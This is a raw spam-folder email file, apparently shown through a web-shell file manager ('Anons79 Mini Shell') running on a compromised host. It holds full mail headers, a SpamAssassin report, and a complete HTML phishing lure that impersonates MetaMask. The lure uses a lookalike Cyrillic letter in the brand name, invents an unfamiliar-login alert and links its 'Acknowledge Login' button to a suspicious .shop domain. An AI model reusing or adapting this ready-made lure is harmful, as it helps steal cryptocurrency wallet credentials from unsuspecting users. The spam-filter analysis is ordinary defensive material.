| Directory : /home/proudlyafrican/mail/.spam/new/ |
|
|
| Current File : //home/proudlyafrican/mail/.spam/new/1748808141.M149843P1512838.nc-ph-2432.beatq.tech,S=7581,W=7714 |
Return-Path: <postmaster@c9e86be130.nxcli.io>
Delivered-To: proudlyafrican+spam@nc-ph-2432.beatq.tech
Received: from nc-ph-2432.beatq.tech
by nc-ph-2432.beatq.tech with LMTP
id SDOBCM2xPGiGFRcAm3PG5w
(envelope-from <postmaster@c9e86be130.nxcli.io>)
for <proudlyafrican+spam@nc-ph-2432.beatq.tech>; Sun, 01 Jun 2025 20:02:21 +0000
Return-path: <postmaster@c9e86be130.nxcli.io>
Envelope-to: info@proudlyafrican.co.uk
Delivery-date: Sun, 01 Jun 2025 20:02:21 +0000
Received: from cloudhost-2311550.us-west-1.nxcli.net ([173.249.147.106]:55264)
by nc-ph-2432.beatq.tech with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.98.2)
(envelope-from <postmaster@c9e86be130.nxcli.io>)
id 1uLosu-00000006LUw-2niJ
for info@proudlyafrican.co.uk;
Sun, 01 Jun 2025 20:02:21 +0000
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=c9e86be130.nxcli.io;
b=gx7XOaIfG71MX/I4ZfjDVRJt25znm+npszq2OMRCSyc1skWGEw8GCe0c8uYq+dnOpnPgqtOphUilgDOBR9ClT9CvM7ZsUSbi1oMRAa0JLd5Mc0B4q138m3PtAAp50H3ls8i3KXdjpgOy7YecfNMhH+Uv/+CH72m7wHCXRzHhd7xcMZoz07GiitXAeUiko9PLZsvjnOb9dNhklvnm2rTzVqYQb9YAGUQTE6sDQtKLqltOCIrz7ZYN0Jn1bbnlqXRriJiYDqDlQY5F8hBFJhKcN0j6uCmTmmHquz3fHDrmzMcEWJhcFxYthDYkTtzwhFAiBcHX6OWouWR2d7aAKxFOKQ==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=c9e86be130.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type; s=default; bh=QM++DvOA58xRShMyOq/RTUlpvkc=; b=roZ
xzJpsLajbVMlrAU+ibIq10qU/26i8Toe3O5+WFe24DnlLUpdcj8OJ1PuID/7F0iz
vC0mFG/qPy41UcWQ2sao2ZTR28xn8iyTArJIHR3Ow8oLF2f/rXkYHcpBfQyNDmCh
wtzAgxhyY9HPdmMdwoV1SidNwcjy1QBF+KbbqI2MxJSxJyDjucjLuHX3RcqJl+xc
qma8Iw8n8uAbDoXFEMztNEiB5djN7ZNOzPgD5E5Csi6umr2UJzhfRbLYrNeI9ZQp
MkebKZBj3ouhYRZFU4A7qsuSLnWd66CtyipOLGIS98fHAh1cucEw3g+QTuHHcEJ9
TRrV1x1At6jNOgcaJTA==
Received: (qmail 1990 invoked by uid 10204); 1 Jun 2025 18:42:42 +0000
Date: 1 Jun 2025 18:42:42 +0000
Message-ID: <20250601184242.1983.qmail@cloudhost-2311550.us-west-1.nxcli.net>
To: info@proudlyafrican.co.uk
X-PHP-Originating-Script: 10204:j.php
From: "MetaMаsk" <r7u3744f@zlk.io>
Reply-To: r7u3744f@zlk.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=13.4
X-Spam-Score: 134
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "nc-ph-2432.beatq.tech",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetaMаsk - Review Required Review Required
Content analysis details: (13.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: ctfassets.net]
[URI: nxcli.io]
[URI: construction-engineering.shop]
1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist
[URI: construction-engineering.shop]
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?173.249.147.106>]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[173.249.147.106 listed in sa-accredit.habeas.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[173.249.147.106 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[173.249.147.106 listed in sa-trusted.bondedsender.org]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
domains are different
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words
0.0 HTML_MESSAGE BODY: HTML included in message
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
5.0 KAM_SOMETLD_ARE_BAD_TLD .bar, .beauty, .buzz, .cam, .casa, .cfd,
.club, .date, .guru, .link, .live, .monster,
.online, .press, .pw, .quest, .rest, .sbs,
.shop, .stream, .top, .trade, .wiki, .work,
.xyz TLD abuse
X-Spam-Flag: YES
Subject: ***SPAM*** Security Notification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
<table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
<tr>
<td style="padding:28px 24px;text-align:center;">
<img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
<h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
<p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
Your account was accessed from an unfamiliar IP address.
</p>
<p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
</p>
<p style="margin:24px 0;">
<a href="https://construction-engineering.shop/bmw/?id=-4231701155572388580-6144" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
Acknowledge Login
</a>
</p>
<p style="font-size:12px;color:#888;margin-top:24px;">
Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
</p>
</td>
</tr>
</table>
</body>
</html>
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]
Anons79 Mini Shell